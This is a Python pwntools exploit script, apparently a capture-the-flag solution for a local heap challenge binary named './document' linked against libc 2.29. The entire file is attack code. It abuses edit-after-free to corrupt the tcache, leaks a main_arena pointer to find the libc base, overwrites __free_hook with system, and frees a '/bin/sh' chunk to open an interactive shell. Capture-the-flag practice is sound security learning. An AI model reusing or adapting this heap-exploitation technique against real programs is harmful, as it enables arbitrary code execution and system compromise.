1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * sh = process('./document')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook'] system_s = libc.sym['system'] def create(name,content): sh.sendlineafter('Give me your choice :','1') sh.sendafter('input name',name) sh.sendafter('input sex','M') sh.sendafter('input information',content) def show(index): sh.sendlineafter('Give me your choice :','2') sh.sendlineafter('Give me your index :',str(index)) def edit(index,content,changeSex = 'Y'): sh.sendlineafter('Give me your choice :','3') sh.sendlineafter('Give me your index :',str(index)) sh.sendafter('Are you sure change sex?',changeSex) sh.sendafter('Now change information',content) def delete(index): sh.sendlineafter('Give me your choice :','4') sh.sendlineafter('Give me your index :',str(index))
create('a'*0x8,'a'*0x70)
create('b'*0x8,'b'*0x70)
create('c'*0x8,'c'*0x70)
create('d'*0x8,'d'*0x70) delete(0)
edit(0,'a'*0x70) delete(0) delete(1) edit(1,'a'*0x70) delete(2)
edit(2,'a'*0x70) delete(2) delete(3)
edit(3,'a'*0x70) delete(3)
delete(1) show(1) sh.recvuntil('\n') main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr)
create(p64(free_hook_addr),'a'*0x70) create('/bin/sh\x00','a'*0x70)
create(p64(system_addr),'a'*0x70)
delete(5) sh.interactive()
|